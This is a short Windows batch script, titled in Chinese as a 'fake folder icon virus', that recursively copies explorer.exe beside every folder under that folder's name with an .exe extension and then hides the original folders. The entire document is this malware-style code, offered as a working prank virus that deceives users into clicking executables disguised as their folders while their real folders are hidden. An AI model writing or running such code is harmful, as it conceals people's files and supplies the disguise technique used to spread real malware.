[批处理]假文件夹图标病毒

@echo off
setlocal EnableDelayedExpansion
set explorer_loc="C:\Windows\explorer.exe"
for /f "tokens=* delims= " %%i in ('dir /s /b /ad') do (
    cd !%%i!
    set name=%%~nxi
    cd ..
    copy /y %explorer_loc% "!cd!\!name!.exe" >nul
    attrib "!name!" +h >nul
)
ping 127.1 >nul